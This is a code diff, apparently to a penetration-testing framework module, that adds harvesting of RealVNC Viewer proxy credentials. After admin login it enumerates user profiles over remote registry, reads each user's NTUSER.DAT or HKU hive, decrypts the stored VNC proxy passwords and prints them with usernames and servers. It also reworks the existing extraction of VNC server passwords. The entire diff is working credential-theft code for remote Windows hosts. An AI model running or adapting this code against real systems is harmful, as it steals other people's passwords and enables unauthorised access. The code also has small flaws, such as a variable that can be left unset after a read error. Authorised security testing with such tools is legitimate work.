1+ import ntpath
2+ import tempfile
13from dploot .lib .smb import DPLootSMBConnection
24from dploot .lib .target import Target
35
46from impacket .dcerpc .v5 import rrp
7+ from impacket import winregistry
58from impacket .examples .secretsdump import RemoteOperations
9+ from impacket .system_errors import ERROR_NO_MORE_ITEMS
610
711from Cryptodome .Cipher import DES
812from binascii import unhexlify
@@ -74,6 +78,7 @@ def on_admin_login(self, context, connection):
7478 remote_ops = RemoteOperations (connection .conn , False )
7579 remote_ops .enableRegistry ()
7680 self .vnc_from_registry (remote_ops )
81+ self .vnc_client_proxyconf_extract (dploot_conn , remote_ops )
7782 self .vnc_from_filesystem (dploot_conn )
7883
7984 def upgrade_connection (self , target : Target , connection = None ):
@@ -84,14 +89,9 @@ def upgrade_connection(self, target: Target, connection=None):
8489 conn .connect ()
8590 return conn
8691
87- def reg_query_value (self , remote_ops , path , key ):
92+ def reg_query_value (self , remote_ops , path , key , hku = False ):
8893 if remote_ops ._RemoteOperations__rrp :
89- if path [:4 ] == "HKCU" :
90- path = path [5 :]
91- ans = rrp .hOpenCurrentUser (remote_ops ._RemoteOperations__rrp )
92- elif path [:4 ] == "HKLM" :
93- path = path [5 :]
94- ans = rrp .hOpenLocalMachine (remote_ops ._RemoteOperations__rrp )
94+ ans = rrp .hOpenUsers (remote_ops ._RemoteOperations__rrp ) if hku else rrp .hOpenLocalMachine (remote_ops ._RemoteOperations__rrp )
9595 reg_handle = ans ["phKey" ]
9696 ans = rrp .hBaseRegOpenKey (
9797 remote_ops ._RemoteOperations__rrp ,
@@ -110,14 +110,53 @@ def reg_query_value(self, remote_ops, path, key):
110110 except rrp .DCERPCSessionError as e :
111111 self .context .log .debug (f"Error while querying registry value for { path } { key } : { e } " )
112112
113+ def vnc_client_proxyconf_extract (self , dploot_conn , remote_ops = None ):
114+ vnc_client_softwares = [
115+ ("RealVNC Viewer 7.x Proxy Conf" , "Software\\ RealVNC\\ vncviewer" , ["ProxyUserName" , "ProxyPassword" , "ProxyServer" ]),
116+ ]
117+ users = self .get_users (remote_ops )
118+ for user , sid in users .items ():
119+ ntuser_dat_path = ntpath .join (f"Users\\ { user } \\ NTUSER.DAT" )
120+ try :
121+ ntuser_dat_bytes = dploot_conn .readFile (self .share ,ntuser_dat_path )
122+ except Exception as e :
123+ self .context .log .debug (f"Error while getting NTUSER.DAT file for { user } : { e } " )
124+ for vnc_name , registry_path , registry_keys in vnc_client_softwares :
125+ cred = {}
126+ if ntuser_dat_bytes is None and remote_ops is not None :
127+ user_registry_path = ntpath .join (sid ,registry_path )
128+ try :
129+ password = self .reg_query_value (remote_ops , user_registry_path , registry_keys [1 ], hku = True ).encode ().rstrip (b"\x00 " ).decode ()
130+ cred ["password" ] = self .recover_vncpassword (unhexlify (password )).decode ("latin-1" )
131+ cred ["server" ] = self .reg_query_value (remote_ops , user_registry_path , registry_keys [2 ], hku = True )
132+ cred ["user" ] = self .reg_query_value (remote_ops , user_registry_path , registry_keys [0 ], hku = True )
133+ except Exception as e :
134+ if "ERROR_FILE_NOT_FOUND" not in str (e ):
135+ self .context .log .debug (f"Error while RegQueryValues { registry_keys } from { user_registry_path } : { e } " )
136+ continue
137+ else :
138+ fh = tempfile .NamedTemporaryFile ()
139+ fh .write (ntuser_dat_bytes )
140+ fh .seek (0 )
141+ reg = winregistry .Registry (fh .name , isRemote = False )
142+ parent_key = reg .findKey (registry_path )
143+ if parent_key is None :
144+ continue
145+ cred ["user" ] = reg .getValue (ntpath .join (registry_path ,registry_keys [0 ]))[1 ].decode ("latin-1" )
146+ password = reg .getValue (ntpath .join (registry_path ,registry_keys [1 ]))[1 ].decode ("utf-16le" ).rstrip ("\0 " ).encode ()
147+ cred ["password" ] = self .recover_vncpassword (unhexlify (password )).decode ("latin-1" )
148+ cred ["server" ] = reg .getValue (ntpath .join (registry_path ,registry_keys [2 ]))[1 ].decode ("latin-1" )
149+
150+ self .context .log .highlight (f"[{ vnc_name } ] { cred ['user' ]} :{ cred ['password' ]} @{ cred ['server' ]} " )
151+
113152 def vnc_from_registry (self , remote_ops ):
114153 vncs = (
115- ("RealVNC 4.x" , "HKLM \\ SOFTWARE\\ Wow6432Node\\ RealVNC\\ WinVNC4" , "Password" ),
116- ("RealVNC 3.x" , "HKLM \\ SOFTWARE\\ RealVNC\\ vncserver" , "Password" ),
117- ("RealVNC 4.x" , "HKLM \\ SOFTWARE\\ RealVNC\\ WinVNC4" , "Password" ),
118- ("TightVNC" , "HKLM \\ Software\\ TightVNC\\ Server" , "Password" ),
119- ("TightVNC ControlPassword" , "HKLM \\ Software\\ TightVNC\\ Server" , "ControlPassword" ),
120- ("TightVNC" , "HKLM \\ Software\\ TightVNC\\ Server" , "PasswordViewOnly" ),
154+ ("RealVNC 4.x" , "SOFTWARE\\ Wow6432Node\\ RealVNC\\ WinVNC4" , "Password" ),
155+ ("RealVNC 3.x" , "SOFTWARE\\ RealVNC\\ vncserver" , "Password" ),
156+ ("RealVNC 4.x" , "SOFTWARE\\ RealVNC\\ WinVNC4" , "Password" ),
157+ ("TightVNC" , "Software\\ TightVNC\\ Server" , "Password" ),
158+ ("TightVNC ControlPassword" , "Software\\ TightVNC\\ Server" , "ControlPassword" ),
159+ ("TightVNC" , "Software\\ TightVNC\\ Server" , "PasswordViewOnly" ),
121160 )
122161 for vnc_name , path , key in vncs :
123162 try :
@@ -209,3 +248,38 @@ def vnc_from_filesystem(self, dploot_conn):
209248 passwd_encrypted = passwd_encrypted .split (b"=" )[- 1 ]
210249 password = self .recover_vncpassword (unhexlify (passwd_encrypted ))[:8 ]
211250 self .context .log .highlight (f"[{ vnc_name } ] Password: { password .decode ('latin-1' )} " )
251+
252+ def get_users (self , conn ):
253+ users = {}
254+ userlist_key = "SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ ProfileList"
255+
256+ ans = rrp .hOpenLocalMachine (conn ._RemoteOperations__rrp )
257+ regHandle = ans ["phKey" ]
258+
259+ ans = rrp .hBaseRegOpenKey (conn ._RemoteOperations__rrp , regHandle , userlist_key , samDesired = rrp .MAXIMUM_ALLOWED | rrp .KEY_ENUMERATE_SUB_KEYS | rrp .KEY_QUERY_VALUE )
260+ keyHandle = ans ["phkResult" ]
261+
262+ sids = []
263+
264+ i = 0
265+ while True :
266+ try :
267+ ans2 = rrp .hBaseRegEnumKey (conn ._RemoteOperations__rrp , keyHandle , i )
268+ sids .append (ans2 ["lpNameOut" ])
269+ except rrp .DCERPCSessionError as e :
270+ if e .get_error_code () == ERROR_NO_MORE_ITEMS :
271+ break
272+ except Exception as e :
273+ self .context .debug (f"Error while listing users from HKU: { e } " )
274+ i += 1
275+ rrp .hBaseRegCloseKey (conn ._RemoteOperations__rrp , keyHandle )
276+ for sid in sids :
277+ ans = rrp .hBaseRegOpenKey (conn ._RemoteOperations__rrp , regHandle , ntpath .join (userlist_key ,sid ), samDesired = rrp .MAXIMUM_ALLOWED | rrp .KEY_ENUMERATE_SUB_KEYS | rrp .KEY_QUERY_VALUE )
278+ keyHandle = ans ["phkResult" ]
279+ _ , profile_path = rrp .hBaseRegQueryValue (conn ._RemoteOperations__rrp , keyHandle , "ProfileImagePath" )
280+ if r"%systemroot%" in profile_path :
281+ continue
282+ users [ntpath .basename (profile_path .rstrip ("\0 " ))] = sid .rstrip ("\0 " )
283+ rrp .hBaseRegCloseKey (conn ._RemoteOperations__rrp , keyHandle )
284+
285+ return users
0 commit comments